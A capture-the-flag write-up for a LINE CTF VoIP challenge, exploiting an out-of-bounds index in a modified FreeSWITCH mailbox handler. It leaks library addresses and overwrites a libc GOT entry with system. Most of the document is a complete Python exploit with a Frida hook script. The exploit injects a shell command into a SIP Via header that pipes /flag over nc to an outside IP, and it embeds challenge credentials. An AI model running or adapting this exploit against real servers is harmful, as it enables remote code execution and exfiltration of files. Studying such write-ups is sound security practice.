Freeswitch with a vulnerability run on the server.

Vuln

There are many vulnerabilities in the problem, but the vulnerability I used is OOB in mailbox_handle_edit

1
2
3
4
5
6
7
char *mailbox_handle_edit(sofia_profile_t *profile, const char *id, int idx, char *msg, int msg_len)
{
...
if (mailbox->mail[idx] != NULL) {
		strncpy(mailbox->mail[idx], msg, msg_len);
		strcpy(response, "edited");
}

Above picture, 0x7f3170003528 is mailbox->mail(index 0). In genral pwnable challenge, address lower 1.5bytes are immutable. But this challenge, because several teams interact with server, lower 1.5bytes are not immutable. So we must get defnite libc-related address to solve this challenge. And you can see if we edit -1 index, we can trigger AAW and AAR.

After several attempts, I can leak mailbox mmaped base with a high probability when send /edit -1 \x03\x01.

And libsql3lite related address is placed on leak area. So we can get libsql3lite base address. And libsql3lite has libc function readlink got. So with some edit -1 index, we can get libc base definitly.

Finally overwrite libc’s __strnlen got to system. I could see the message below.

I modify the alias part of the payload I sent and use nc to get the flag.

Exploit code

It is very difficult to implement the full SIP stack, so we use external programs(microSIP) together. I can send a message with my own code(my friend wrote), but it is difficult to implement receive, so I used frida. Hooking microSIP and interact with my python code.

hack.py

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
import requests
import hashlib
import string
import random
import threading
import multiprocessing
from pwn import *
import frida
#context.log_level='debug'

last_recv = None

def on_message(message, data):
    global last_recv    
    recvd = message['payload']['message']
    recvd = reverse_by_two(recvd)
    last_recv = recvd
    print(last_recv)

def get_last_recv():
    global last_recv
    while last_recv == None:
        pass
    result = last_recv
    last_recv = None
    return result



def freeswitch(data):
    headers = {'Content-Type': 'text/xml'}
    return requests.post(f'http://{NAME}:{PW}@{HOST}:10030/freeswitch', headers=headers, data=data).text

def auth(nonce):
    uri = "sip:mailbox@iinevoip;transport=tcp"
    realm = 'iinevoip'
    method = "MESSAGE"

    cnonce = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(16))
    ha1 = hashlib.md5(f"{NAME}:{realm}:{PW}".encode()).hexdigest()
    ha2 = hashlib.md5(f"{method}:{uri}".encode()).hexdigest()
    response = hashlib.md5(f"{ha1}:{nonce}:00000001:{cnonce}:auth:{ha2}".encode()).hexdigest()
    return response, cnonce

def fake(cmd):
    payload = f'''MESSAGE sip:mailbox@iinevoip;transport=tcp SIP/2.0
Via: SIP/2.0/TCP localhost:8888;rport;branch=z9hG4bKPjc1f3656edecb41a383dd10b7f032baa1;nc xx.xx.77.140 8088 < /flag;
Max-Forwards: 70
From: <sip:{NAME}@iinevoip>;tag=2056482c9f1b494f9bce018e3a9529d7
To: <sip:mailbox@iinevoip>
Call-ID: 152fbd86d74a4025828905fe5a5648db
CSeq: 12802 MESSAGE
User-Agent: MicroSIP/3.21.3
Route: <sip:{HOST}:10002;transport=tcp;lr>
Content-Type: text/plain
Content-Length:     {len(cmd)}

'''.encode() + cmd

    p.send(payload)
    
    p.recvuntilS('nonce="')
    nonce = p.recvuntilS('"')[:-1]
    res, cnonce = auth(nonce)
    payload = f'''MESSAGE sip:mailbox@iinevoip;transport=tcp SIP/2.0
Via: SIP/2.0/TCP localhost:8888;rport;branch=z9hG4bKPjc1f3656edecb41a383dd10b7f032baa1;nc xx.xx
.77.140 8088 < /flag;
Max-Forwards: 70
From: <sip:{NAME}@iinevoip>;tag=2056482c9f1b494f9bce018e3a9529d7
To: <sip:mailbox@iinevoip>
Call-ID: 152fbd86d74a4025828905fe5a5648db
CSeq: 12802 MESSAGE
Route: <sip:{HOST}:10002;transport=tcp;lr>
Proxy-Authorization: Digest username="{NAME}", realm="iinevoip", nonce="{nonce}", uri="sip:mailbox@iinevoip;transport=tcp", response="{res}", algorithm=MD5, cnonce="{cnonce}", qop=auth, nc=00000001
Content-Type: text/plain
Content-Length:     {len(cmd)}

'''.encode() + cmd

    p.send(payload)
    sleep(0.5)


def command(cmd):
    payload = f'''MESSAGE sip:mailbox@iinevoip;transport=tcp SIP/2.0
Via: SIP/2.0/TCP localhost:8888;rport;branch=z9hG4bKPjc1f3656edecb41a383dd10b7f032baa1;alias
Max-Forwards: 70
From: <sip:{NAME}@iinevoip>;tag=2056482c9f1b494f9bce018e3a9529d7
To: <sip:mailbox@iinevoip>
Call-ID: 152fbd86d74a4025828905fe5a5648db
CSeq: 12802 MESSAGE
User-Agent: MicroSIP/3.21.3
Route: <sip:{HOST}:10002;transport=tcp;lr>
Content-Type: text/plain
Content-Length:     {len(cmd)}

'''.encode() + cmd

    p.send(payload)
    
    p.recvuntilS('nonce="')
    nonce = p.recvuntilS('"')[:-1]
    res, cnonce = auth(nonce)
    payload = f'''MESSAGE sip:mailbox@iinevoip;transport=tcp SIP/2.0
Via: SIP/2.0/TCP localhost:8888;rport;branch=z9hG4bKPjc1f3656edecb41a383dd10b7f032baa1;alias
Max-Forwards: 70
From: <sip:{NAME}@iinevoip>;tag=2056482c9f1b494f9bce018e3a9529d7
To: <sip:mailbox@iinevoip>
Call-ID: 152fbd86d74a4025828905fe5a5648db
CSeq: 12802 MESSAGE
Route: <sip:{HOST}:10002;transport=tcp;lr>
Proxy-Authorization: Digest username="{NAME}", realm="iinevoip", nonce="{nonce}", uri="sip:mailbox@iinevoip;transport=tcp", response="{res}", algorithm=MD5, cnonce="{cnonce}", qop=auth, nc=00000001
Content-Type: text/plain
Content-Length:     {len(cmd)}

'''.encode() + cmd

    p.send(payload)
    sleep(0.5)

HOST = '34.84.93.83'
#HOST = '172.19.192.6'
NAME = 'ccxx'
#PW = '7f7ef7b8392da8c7e61ea98d360fd48c'
PW = 'a8c00f42f9859e65eb3885872d14345e'
CALLID = '453e07af95254a18bdb88938940a923a'


def frida_att():    
    session = frida.attach('microsip.exe')
    script = session.create_script(open(r'E:\trash\linectf\voip\solve\hack.js','r',encoding='UTF-8').read())
    script.on("message",on_message)
    print('[+] Frida attaced')
    script.load()
     
def reverse_by_two(s):
    chunks = [s[i:i+2] for i in range(0, len(s), 2)]
    chunks.reverse()
    return ''.join(chunks)

print('[+] Start!')
multiprocessing.Process(target =frida_att(), args= ()).start()
p = remote(HOST, 10002)
command(b'/send ccxx 111')
command(b'/edit -1 \x03\x01')
command(b'/list')
leak = ((int(get_last_recv(), 16) & 0xFFFFFFFFFFFF)  >> 24) << 24
log.info('leak base : ' + hex(leak))
command(b'/edit -1 ' + p16(0x19a8))
command(b'/list')
leak2 = ((int(get_last_recv(), 16) & 0xFFFFFFFFFFFFFFFFFF)  >> 24)
sql3base = leak2 - 0x076fb0
log.info('libsqlite3 : ' + hex(sql3base))
leak3 = sql3base + 0x132798
command(b'/edit -1 ' + p64(leak3))
command(b'/list')
readlink = ((int(get_last_recv(), 16) & 0xFFFFFFFFFFFFFFFFFF)  >> 24)
libcbase = readlink - 0x0ed0a0
log.info('libc : ' + hex(libcbase))
system = libcbase + 0x045e90
strlen_got = libcbase + 0x1ce020 - 1
log.info('strlen_got : ' + hex(strlen_got))
pause()
command(b'/edit -1 ' + p64(strlen_got))
command(b'/edit 0 A' + p64(system))
pause()
fake(b'/list')
fake(b'/list')
fake(b'/list')
p.interactive()

hack.js

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
var hook = Module.getExportByName("WS2_32.dll", "send");
var hook2 = Module.getExportByName("WS2_32.dll", "recv");
console.log(hook, hook2)

function toHex(str) {
  var result = '';
  for (var i=0; i<str.length; i++) {
    result += str.charCodeAt(i).toString(16);
  }
  return result;
}

function stringToByteArray(str) {
  var byteArray = [];
  for (var i = 0; i < str.length; ++i) {
      var charCode = str.charCodeAt(i);
      byteArray.push(charCode & 0xFF);
  }
  return byteArray;
}

function byteArrayToHex(byteArray) {
  return Array.prototype.map.call(byteArray, function(byte) {
    return ('0' + (byte & 0xFF).toString(16)).slice(-2);
  }).join('');
}

function splitByteArray(byteArray, delimiter) {
  var result = [];
  var startIndex = 0;
  for (var i = 0; i < byteArray.length; i++) {
      var isDelimiterFound = true;
      for (var j = 0; j < delimiter.length; j++) {
          if (byteArray[i + j] !== delimiter[j]) {
              isDelimiterFound = false;
              break;
          }
      }
      if (isDelimiterFound) {
          result.push(byteArray.slice(startIndex, i));
          startIndex = i + delimiter.length;
          i += delimiter.length - 1;
      }
  }
  if (startIndex < byteArray.length) {
      result.push(byteArray.slice(startIndex));
  }
  return result;
}

var buf;
Interceptor.attach(hook2, {
  onEnter(args) {        
    buf = args[1];
      
  },
  
  onLeave(result) {
    try
    {
        result = Number(result.toString())
        if (result != 0xffffffff)
        {            
            var bbuffer = new Uint8Array(Memory.readByteArray(buf, result));            
            bbuffer = splitByteArray(bbuffer, [0x0d, 0x0a]);
            bbuffer = bbuffer[bbuffer.length - 1];
            //console.log(tmp);
            if (bbuffer.length != 0)
            {
                send({'message': byteArrayToHex(bbuffer)});
            }
        }
    }
    catch(ex)
    {
        console.log(ex);
    }
  }
});

LINECTF{f22da6a35e5f93fecb83044baf2cbb38}